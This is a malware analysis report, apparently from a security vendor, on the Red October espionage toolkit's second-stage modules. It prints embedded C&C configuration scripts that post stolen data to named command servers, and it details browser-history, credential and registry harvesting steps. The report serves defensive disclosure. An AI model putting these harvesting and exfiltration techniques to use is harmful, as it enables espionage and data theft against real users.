“Red October”. Detailed Malware Description 2. Second Stage of Attack

securelist.com/red-october-detailed-malware-description-2-second-stage-of-attack/36842/

GReAT

First stage of attack

Second stage of attack

1. Modules, general overview

Module framework

The main component of Sputnik implements a framework for executing the “tasks” that are provided by its C&C servers.

Most of the tasks are provided as one-time PE DLL libraries that are received from the server, executed in memory and then immediately discarded.

Several tasks need to be constantly present, i.e. waiting for the iPhone or Nokia mobile to connect. These tasks are provided as PE EXE files and are installed to the infected machine.

Persistent tasks

- Once a USB drive is connected, search and extract files by mask/format, including deleted files. Deleted files are restored using a built in file system parser
- Wait for an iPhone or a Nokia phone to be connected. Once connected, retrieve information about the phone, its phone book, contact list, call history, calendar, SMS messages, browsing history
- Wait for a Windows Mobile phone to be connected. Once connected, infect the phone with a mobile version of the Sputnik main component
- Wait for a specially crafted Microsoft Office or PDF document and execute a malicious payload embedded in that document, implementing a one-way covert channel of communication that can be used to restore control of the infected machine
- Record all the keystrokes, make screenshots
- Execute additional encrypted modules according to a pre-defined schedule
- Retrieve e-mail messages and attachments from Microsoft Outlook and from reachable mail servers using previously obtained credentials

One-time tasks

- Collect general software and hardware environment information

- Collect filesystem and network share information, build directory listings, search and retrieve files by mask provided by the C&C server
- Collect information about installed software, most notably Oracle DB, RAdmin, IM software including Mail.Ru agent, drivers and software for Windows Mobile, Nokia, SonyEricsson, HTC, Android phones, USB drives
- Extract browsing history from Chrome, Firefox, Internet Explorer, Opera
- Extract saved passwords for Web sites, FTP servers, mail and IM accounts
- Extract Windows account hashes, most likely for offline cracking
- Extract Outlook account information
- Determine the external IP address of the infected machine
- Download files from FTP servers that are reachable from the infected machine (including those that are connected to its local network) using previously obtained credentials
- Write and/or execute arbitrary code provided within the task
- Perform a network scan, dump configuration data from Cisco devices if available
- Perform a network scan within a predefined range and replicate to vulnerable machines using the MS08-067 vulnerability
- Replicate via network using previously obtained administrative credentials

Module Groups

Group name	Descrition
Recon	Modules of this group designed to be used during first stage of cyberattack right after initial infiltration. Their main purpose is to collect general information about target system which helps locate and identify the infected machine, estimate potential value of current computer data and define which other modules should be pushed next. Also, these modules collect initial easy-to-get type of information such as browser history, browser cached credentials and FTP client settings.
Password	This group of modules is designed to steal credentials from various applications and resources, from Mail.ru Agent (popupal free app from mail.ru) to MS Outlook credentials and Windows account hashes (including cached Windows Domain account hashes). Capable of using low-level and direct disk access to copy protected files.
Email	This group serves stealing emails from local MS Outlook storage or remote POP3/IMAP mail server. It’s capable of dumping full email bodies with headers, saving attachments with predefined file extensions.
USB drive	This group is used to steal files from attached USB devices. It monitors USB device events and starts every time new device is attached. It can copy files from predefined extension list, size and age. This group capable of recognition, restoration and copying already deleted files of MS Office document formats by using own FAT-based filesystem parser.
Keyboard	This group is dedicated to recording keystrokes, grabbing text from password input fields and making screencaptures.
Persistence	Current group contains installer and payload code to plant a plugin in popular applications such as MS Office or Adobe Reader. The backdoor code is activated when specially crafted document is opened on target machine. This is used to regain lost access on a machine in case of unexpected loss of control (C&C server takedown or local malware cleaning).

Spreading	Modules of this group are used to scan for other hosts on the network, fingerprint them and then infect via MS08-067 or a list of stolen admin credentials. A module from this group is capable of dumping Cisco network router configuration via SNMP commands and embedded TFTP server.
Mobile	Mobile group is used to dump all valuable information about locally attached mobile device. It is capable of copying contact information, calendars, SMS and Emails databases and many other private data. These modules are capable of checking if a device was jailbroken.
Exfiltration	While some of other modules work in “offline” mode, collect and store data locally, this group of modules transfers all collected data to the C&C server. Modules of this group are capable of reaching FTP servers, remote network shares as well as local disk drives and copy files from these resources. Unlike Recon data collection modules these modules are designed to run repeatedly and bring only new valuable data.

Missing Modules

Group name	Descrition
USB Infection	There are modules that copy data files (such as execution logs) related to current malware family from USB drives. However, we haven’t seen a module to infect the USB drives yet. We suspect that this module is capable of infecting removable storage, running arbitrary modules from other groups and save data back to the USB drives.

Module comparison table

№	Name	Group	Size (Kb)	Summary
1	RegConn	Recon	~160	Query system software environment
2	WnHttp	Recon	~142	Get external IP and send to the C&C
3	SysInfo	Recon	~503	Get browser history, usb drives, processes, disks,...
4	GetWebFtp	Recon	~157	Get browser history,http/ftp credentials
5	AuthInfo	Recon	~660	Get file manager,browser,ftp,mail client credentials
6	Logic	Recon	~160	Get general information about current Windows machine and available remote network shares
7	ILogic	Recon	~150	Grab Internet Explorer URL history from the local system
8	Repeat2	Recon	~150	Get listing from remote shares available in Windows network neighborhood
9	Reference	Recon	~150	Grab directory/file listings of all drives attached to the local system
10	PswSuperMailru	Password	230-260	Steal Mail.ru account info and Outlook attachments
11	PswOutlook	Password	~31	Steal Outlook account info
12	MSHash	Password	400-550	Steal Windows account hashes
13	MAPIClient	Email	418-440	Steal e-mail data using local MAPI
14	POP3Client	Email	1100-1200	Steal e-mail data from POP3 server

15	USBContainer	USB drive			649-690	Loads and runs embedded USBStealer
16	USBRestore	USB drive			372-376	Recover and steal deleted files on USB drives
17	USBStealer	USB drive			448-504	Steal interesting files from USB drives
18	Keylogger	Keyboard			300-312	Makes screenshots, records keystrokes
19	Scheduler	Persistence			~620	Run various tasks from spec folders
20	DocBackdoor	Persistence			75-88	Runs an embedded module from MSOffice/PDF doc
21	OfficeBDInstaller	Persistence			~286	Installs DocBackdoor plugin in MS Office
22	AdobeBDInstaller	Persistence			~218	Installs DocBackdoor plugin in Adobe Reader
23	FilePutExec	Spreading			~305	Extract and run an embedded file locally or remotely
24	Netscan	Spreading			~315	Port scanner, vuln. scanner, Cisco cfg dumper
25	MSExploit	Spreading			~1200	Infect target host using MS08-067 exploit
26	DASvcInstall	Spreading			~276	Infect target host using admin credentials
27	Frog	Spreading			~102	Initial backdoor, used in MSExploit/DASvcInstall
28	iPhone	Mobile			329-331	Steals data from locally attached iPhone
29	Nokia	Mobile			~337	Steals data from locally attached Nokia phone
30	Winmobile	Mobile			~400-700	Infect locally attached Windows Mobile phones with a native backdoor/updater modules
31	Winmobile	Mobile			~7-100	Native mobile backdoor/utilites
32	WnFtpScan	Exfiltration			~209	Steals files from local FTP server
33	GetFileReg	Exfiltration			~340	Steals files from local/network disks
34	FileInfo	Exfiltration			339-340	Uploads various collected files to the C&C

Legend:

- - "online" module: all data is sent on the C&C; no local files created;
- - "offline" module; no network communication; all data is stored locally;
- - module with embedded script/config in resource named "AAA";
- - module with all values hardcoded;

2. Recon group

RegConn module

Known variants:

MD5	Size	Compilation date (payload)
5447848f3a5fdaf97c498190ed501620	167,936 bytes	October 22nd, 2011

Summary

Gathers system related information. Records installed and recently run software, related application launch timestamps, enumerates attached usb devices like mobile phones and looks for software from this devices, checks for presence of custom enterprise software, maintains unfinished/unreferenced download+execute functionality, sends encrypted collected data at one of C&C servers (i.e. nt-windows-online.com;nt-windows-update.com;nt-windows-check.com).
This module is a Win32 Dll file. C runtime and several other libs statically linked into the executable with various optimizations enabled. All functionality is in DllMain function, no export names defined. Compiled with MS Visual C++ 2005.

Sequence of systems monitoring tasks

1. Gathers startup information, select environment variables and values %windir%, %username%, %userdomain%, %computername%)
2. Opens target directory c:windowsprefetch, records all entries in the directory of applications recently run along with timestamp, i.e.
   PREFETCH DEFRAG.EXE-273F131E.pf.2012-10-31 18:32:37
   PREFETCH DUMPBIN.EXE-0751B17C.pf.2012-11-01 23:45:39

3. Loops through registry, attempts to access and record all recently used application data, i.e.
   C:Program FilesCommon FilesJavaJava Updatejusched.exe, REG_SZ, Java(TM) Update Scheduler
   C:Documents and SettingspLocal SettingsApplication DataGoogleUpdateGoogleUpdate.exe, REG_SZ, Google Installer
   C:Program FilesMessengermsmsgs.exe, REG_SZ, Windows Messenger

4. Attempts to access and record a set of hardcoded registry keys related to enterprise software. Attempts to access and record related keys and values. Reports on success and failure of related key and value access, i.e.
   REG ORACLE* CHECK
   (1) SoftwareOracleSun RayClientInfoAgentDisconnectActions@Default -> REG_SZ:””
   (1) SoftwareOracleSun RayClientInfoAgentReconnectActions @Default -> REG_SZ:””
5. Attempts to access and record all registry keys and values related to context menu handlers and related executable pathnames, i.e.
   Context MENU *shellexContextMenuHandlers7-Zip
   (1) *shellexContextMenuHandlers7-Zip@Default -> REG_SZ: “{23170F69-40C1-278A-1000-000100020000}”
   (1) CLSID{23170F69-40C1-278A-1000-000100020000}@Default -> REG_SZ: “7-Zip ShellExtension”
   (1) CLSID{23170F69-40C1-278A-1000-000100020000}InprocServer32@Default -> REG_SZ: “C:Program Files7-Zip7-zip.dll”
   (2) CLSID{23170F69-40C1-278A-1000-

000100020000}InprocServer32ThreadingModel -> REG_SZ: “Apartment”

6. Attempts to access and record registry keys and values related to auto-start applications enumerated under the HKCU Run key and all HKLMUserinit registry keys, i.e.
   HKCU Run
   (1) SOFTWAREMicrosoftWindowsCurrentVersionRunVBoxTray ->
   REG_SZ: “C:WINDOWSsystem32VBoxTray.exe”
   (2) SOFTWAREMicrosoftWindowsCurrentVersionRunSunJavaUpdateSched –
   > REG_SZ: “C:Program FilesCommon FilesJavaJava Updatejusched.exe”

7. Attempts to access and record registry keys and values enabling email and webmail access under HKCUSoftwareVB and VBA Program SettingsWebmailer, MSOffice settings, and HKCUSoftwareMail.ruAgentAgent, i.e.
   REG_MRA Run
   (1) SoftwareMail.RuAgentAgent -> REG_SZ: “1”

8. Attempts to access and record registry keys and values related to hardcoded list of attached mobile devices and also general USB devices and mobile synchronization and contact software. Reports on success and failure of related key and value access, i.e.
   N2 Run
   ERROR: can’t make RegOpenKey for SoftwareNokiaPC Suite at 412: 0
   MSG: The operation completed successfully

9. Attempts to access and record registry keys and values related to list of all installed software. Reports on success and failure of related key and value access, i.e.
   REG_SPEC_SSS_B Run
   (1) SOFTWAREClassesInstallerProductsB79C053C7D38M
   EE4AB9A00CB3B5D2472ProductName -> REG_SZ: “WebFldrs XP”

10. Attempts to access and record registry keys and values indicating the presence of Radmin v2.0 remote control software, i.e.
    Radmin Run
    ERROR: can’t make RegOpenKey for SYSTEMRAdminv2.0ServerParameters at 412: 0
    MSG: The operation completed successfully

11. Attempts to open Firefox prefs.js and profiles.ini configuration files. Attempts to open Opera profile.ini, profile/Opera6.ini configuration files. Reads these files and identifies network proxies for each along with credential information. Retrieves Internet Explorer proxy preferences from the registry.
12. Searches for the following file types in the registry and corresponding handler and

attempts to record related data for the following extensions:

.str	.tte	._ok	.ki	.tel	.tlg	.zfc	.encrypted	.zm9	.dat
.crp	.pcr	.safe	.ldf						

- As a part of the network activity loop, calls GetWindowsDirectoryA, GetDriveTypeA and GetVolumeInformation each time, collects hardware information most likely for unique identification. Attempts to resolve nt-windows-update.com domain name.
- Following a successful call and return from WS2_32.WSAStartup and prior to WS2_32.gethostbyname, the collected data is encrypted.
- Attempts to connect to nt-windows-online.com. POSTs encrypted data to nt-windows-online.com/cgi-bin/nt/sk/ .
- If POST to nt-windows-online.com fails, attempts the same process with nt-windows-check.com, nt-windows-update.com domains.
- If no connections are made, attempts to use configured web browser proxy settings and uses them to connect to the three hard-coded domains listed above.
- Connects and POSTs the stolen configuration data.
- Maintains download and execute code. How this functionality is called at runtime is uncertain. There are no references to it at runtime, so it seems like something is missing or unfinished.

Hardcoded registry keys:

HKCUSoftwareMicrosoftWindowsShellNoRoamMUICache
HKLMSoftwareOracle
HKCUSoftwareCIT
HKCUSoftwareCIT Software
HKLMSoftware
HKLMSoftwareBaw
HKLMSoftwareBaw2
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
HKCR*shellexContextMenuHandlers
HKCRCLSID

HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon
HKCUSOFTWAREVB and VBA Program SettingsWebMailer
HKCUSoftwareMicrosoftOffice12.0CommonGeneral
HKCUSoftwareMail.RuAgent
HKLMSOFTWAREClassesInstallerProducts
HKLMSOFTWAREMicrosoftWindowsCurrentVersionSetup
HKCUSOFTWAREMicrosoftWindows CE Services
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWindows
HKLMSoftwareNokia
HKLMSoftwareHTC
HKLMSystemCurrentControlSetControlDeviceClasses

HKCRSonyEricsson.PCCompanion.1CLSID
HKLMSystemControlSet001EnumRootWPD000
HKLMSYSTEMCURRENTCONTROLSETENUMUSB
HKLMSYSTEMRAdmin

Wnhttp module

Known variants:

MD5	Compilation date (payload)
1b840c5b45cd015f51010e12938b528a	2012.09.05 07:02:33 (GMT)
65820769534fec10958573d1c8a545a8	2012.09.05 07:02:33 (GMT)

Summary

The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. Known samples share one code section, but contain different payloads in the resource section.
All the functionality is implemented in the DllMain function.

This module is a plugin to check Internet connectivity and get an external IP address of current system using popular public services such as 2ip.ru, myip.ru, smart-ip.net.

DllMain

The module collects basic system information such as current computer name, current username, and path to the original executable module where it started from. It creates a unique identifier of current system based on VolumeSerialNumber property of the disk where current Windows system is located or a hash of current computer name and ProductID value of Internet Explorer from

HKLMSOFTWAREMicrosoftInternet ExplorerRegistrationProductID. This information is put in the log file in the first place along with current date and time.

This module loads a config/script from local resource AAA and sends out some network requests using standard WinInet API. The config/script AAA has the following contents:

SetOption(conn_a.D_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.D_NAME, [15] “/cgi-bin/nt/sk”)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] “%removed%”)
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.J_NAME, [15] “/cgi-bin/nt/th”)
SetOption(conn_a.J_USER, [21] “%removed%”)

SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] “51070”)
SetOption(conn_a.SEND_DELAY_TIME, [6] “20000”)
SetOption(conn_a.VER_SESSION_ID, [11] “%removed%”)
SetOption(http_host, [7] “**2ip.ru**“)
SetOption(http_port, [3] “80”)
SetOption(http_path, 0x002F)
SetOption(http_ua, [68] “Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1”)
SetOption(http_headers, [177] “Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8 Accept-Language: en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7”)
Call(task_http)
SetOption(http_host, [12] “**www.myip.ru**“)
SetOption(http_port, [3] “80”)
SetOption(http_path, 0x002F)
SetOption(http_ua, [68] “Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1”)
SetOption(http_headers, [177] “Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8 Accept-Language: en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7”)
Call(task_http)
SetOption(http_host, [13] “**smart-ip.net**“)
SetOption(http_port, [3] “80”)
SetOption(http_path, 0x002F)
SetOption(http_ua, [68] “Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1”)
SetOption(http_headers, [177] “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7”)
Call(task_http)

While “conn_a” parameters are used to access C&C server during reporting stage, other parameters which start with “http_” are used to send out http requests. Target hosts as shown above are

1. 2ip.ru
2. www.myip.ru
3. smart-ip.net

The websites are used to get current IP address as it is visible on the Internet. If the machine is behind proxy or NAT router, the IP address might be different from the local one. Interestingly all websites of current module developers' choice are obviously owned by Russian-speaking people from former CIS countries, first two seem to be Russian and last one is Ukrainian.

The module simply sends HTTP GET requests to the root page of the websites and gets the response code from the headers as well as html/text source of the webpage, which is later uploaded to the C&C.

Current module doesn't create any local logs, instead all information is kept in memory, which is later compressed using Zlib 1.2.5, encrypted, encoded with Base64 algorithm and submitted to the C&C server.

Sysinfo module

Known variants:

MD5	Compilation date
e36b94cd608e3dfdf82b4e64d1e40681	2012.09.05 09:02:30 (GMT)
a2fe73d01fd766584a0c54c971a0448a	2012.09.05 09:02:30 (GMT)

The files differ only by few values from resources section (which contains configuration data) – code is identical.

This module is a PE DLL, written in C++, compiled with Microsoft Visual Studio 2010.

DLL resides only in memory – it does not drop itself or any other executables to the disk.

It creates

%USERPROFILE%Local SettingsTemptmpXX.tmp file (where XX is randomly generated hex number). During the analysis, the file stayed 0-bytes. Most probably, it's created for further data logs.

DLL collects a range of information about the computer (including the browsers history). This data is written to the memory, compressed with Zlib deflate() function – which also performs some XOR operations on it – encoded with base64 algorithm and sent by the HTTP POST request to the C&C server.

Initialization

After it is loaded to the memory, malware loads and locks resource BBB:AAA:0000, which contains config information;

It gets the information about local system and current process:

- computer name
- user name
- current module name

- pid

Then it creates a separate thread, which contains the main module functionality.

Main malware thread

First, it constructs an internal filename string " @INFOSYSINFO_%u_%s.bin"

where %u is equal to 7 and %s is system time – obtained with use of GetLocalTime and SystemTimeToFileTime – in format:

"%04u%02u%02u_%02u%02u%02u_%03u"

if FileTimeToSystemTime failed, it uses the default time string:

"16010101_000000_000"

if wsprintfW failed, it uses the default hardcoded filename:

"@INFOSYSINFO_X_00000000_000000_000.txt"

Then it reads the configuration from the resources section and builds the structure containing all the necessary information at specific offsets. This structure is held only in memory.

It contains a resource named "AAA" with the following values in it:

SetOption(conn_a.D_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.D_NAME, [15] "/cgi-bin/nt/sk")
SetOption(conn_a.D_RPRT, [3] "80")
SetOption(conn_a.D_SPRT, [3] "80")
SetOption(conn_a.D_USER, [21] "%removed%")
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.J_NAME, [15] "/cgi-bin/nt/th")
SetOption(conn_a.J_USER, [21] "%removed%")
SetOption(conn_a.J_RPRT, [3] "80")
SetOption(conn_a.J_SPRT, [3] "80")
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] "17486")
SetOption(conn_a.SEND_DELAY_TIME, [6] "20000")
SetOption(conn_a.VER_SESSION_ID, [11] "%removed%")
Call(task_sysinfo)

Malware main thread calls 2 main subroutines:

- retrieves a lot of system information, including browsing history, and writes it to the

in-memory log
- takes data from the configuration in resources to connect to the C&C and submit collected data

Data collection

Malware collects following information:

- current file time
- local time
- username
- computer name
- is admin (if the user has administrative rights)
- language
- ansi code package
- oem code package
- time zone
- current module name
- current directory
- temp directory path
- Windows directory path
- system directory path
- major OS version
- minor OS version
- build number
- service pack number
- platform id

Additionally, to obtain default applications for HTTP, HTTPS, HTMLFILE and MAILTO malware uses RegQueryValueEx to check following registry keys under

- HKCRttpshellopencommand
- HKCRhttpsshellopencommand
- HKCRhtmfileshellopencommand
- HKCRmailtoshellopencommand

Following parameters are retrieved for each disk, including optical drives and shared mounts:

- root path
- filesystem name
- volume name
- drive type
- volume serial number
- filesystem flags
- maximum component length
- sectors per cluster
- bytes per sector
- number of free clusters

- number of total clusters
- free bytes available
- total number of bytes
- total number of free bytes

Then it collects information about local network adapters:

- Adapter Name
- Adapter Description
- Address Length
- Adapter MAC Address
- Adapter Index
- Adapter Type
- DhcpEnabled
- CurrentIpAddress
- IpAddressList
- GatewayList
- DhcpServer
- HaveWins
- PrimaryWinsServer
- SecondaryWinsServer
- LeaseObtained
- LeaseExpires

The malware looks for URL history from following browsers:

Chrome, Mozilla Firefox, Internet Explorer, Opera

1. Chrome history:

Before the malware is performing the SQL queries on the browsers profile-files, it copies the original file into a temp-file.

To get the Tempfile path and name it makes use of GetTempPathW and GetTempFileNameW with prefix “tmp”.

The Tempfile will be named like this:

tmpXX.tmp

Where XX is a 2-digit number starting from 00.

Malware use following SQL query:

SELECT * FROM urls

to extract URLs (with titles, last visited date) from Chrome history database:

GoogleChromeUser DataDefaultHistory

2. Mozilla history (sub_10015430):

Malware use following SQL query:

SELECT * FROM moz_places

to extract URLs from Mozilla history database:

MozillaFirefoxProfiles%profilename%places.sqlite

In both cases, malware performs SQL related actions with use of functions from embedded SQL library (most probably parts of sqlite3.dll).

3. IE history (sub_10014F50):

Malware calls CoCreateInstance function with following values:

CLSID 3C374A40-BAE4-11CF-BF7D-00AA006946EE Microsoft Url History Service
RIID AFA0DC11-C313-11D0-831A-00C04FD5AE38 SID_IUrlHistoryStg2

i.e. it uses IUrlHistory interface to search through the history and calls SHDOCVW!CEnumSTATURL to enumerate URLs.

It also makes use of shdocvw.dll which is responsible to get control over IE. The call-adresses are resolved dynamically:

```
10014F73                push    esi             ; pvReserved
10014F74                call    ds:CoInitialize
10014F7A                lea     eax, [esp+50h+ppv]
10014F7E                push    eax             ; ppv
10014F7F                push    offset riid     ; riid
10014F84                push    3               ; dwClsContext
10014F86                push    esi             ; pUnkOuter
10014F87                push    offset rclsid   ; rclsid
10014F8C                call    ds:CoCreateInstance
10014F92                test    eax, eax
10014F94                jnz     loc_1001513A
10014F9A                mov     eax, [esp+50h+ppv]
10014F9E                mov     ecx, [eax]
10014FA0                lea     edx, [esp+50h+var_48]
10014FA4                push    edx
10014FA5                push    eax
10014FA6                mov     eax, [ecx+1Ch]
10014FA9                call    eax             ; shdocvw.777752F8
10014FA9                                        ; Webbrowser control lib
10014FA9                                        ; http://msdn.microsoft.com/en-us/library/aa741313(v=vs.85).aspx
10014FAB                test    eax, eax
10014FAD                jnz     loc_1001512E
10014FB3                mov     eax, [esp+50h+var_48]
10014FB7                mov     ecx, [eax]
10014FB9                mov     edx, [ecx+14h]
10014FBC                push    eax
10014FBD                call    edx             ; shdocvw.77774E68
10014FBF                test    eax, eax
10014FC1                jnz     loc_10015122
10014FC7                mov     eax, [esp+50h+var_48]
10014FCB                mov     ecx, [eax]
10014FCD                lea     edx, [esp+50h+var_3C]
10014FD1                push    edx
10014FD2                lea     edx, [esp+54h+var_28]
10014FD6                push    edx
10014FD7                push    1
10014FD9                push    eax
10014FDA                mov     eax, [ecx+0Ch]
10014FDD                call    eax             ; shdocvw.77774F6
10014FDF                test    eax, eax
10014FE1                js      loc_10015122
10014FE7                push    ebp
10014FE8                push    edi
10014FE9                lea     esp, [esp+0]
```

4. Opera history (sub_10014EB0):

Malware gets the Opera folder path and searches it for URLs in files:

global_history.dat, global.dat

All above subroutines retrieves URL + Title + Last Visited Time and write them to the memory (after the previous data).

Also, a DNS resolve is performed on all domain names.

This module also calls GetEnvironmentStrings to retrieve all environment variables.

It is also interested in current Windows Domain information

- DomainControllerName
- DomainControllerAddress
- DomainControllerAddressType
- DomainGuid
- DomainName
- DnsForestName
- Flags
- DcSiteName
- ClientSiteName

The malware looks for all running processes and all modules loaded into their address space. For each file it retrieves following values from the version info:

- StringFileInfo%04x%04xSpecialBuild
- StringFileInfo%04x%04xPrivateBuild
- StringFileInfo%04x%04xProductVersion
- StringFileInfo%04x%04xProductName
- StringFileInfo%04x%04xOriginalFilename
- StringFileInfo%04x%04xLegalTrademarks
- StringFileInfo%04x%04xLegalCopyright
- StringFileInfo%04x%04xInternalName
- StringFileInfo%04x%04xFileVersion
- StringFileInfo%04x%04xFileDescription
- StringFileInfo%04x%04xCompanyName

It looks for installed programs information by enumerating registry key:

SOFTWAREMicrosoftWindowsCurrentVersionUninstall

For each entry it retrieves following values:

- DisplayName
- DislayVersion
- DisplayIcon
- InstallDate
- UninstallString
- InstallSource
- InstallLocation

It retrieves information about installed USB devices.

Class GUID is hardcoded and equals:

{A5DCBF10-6530-11D2-901F-00C04FB951ED}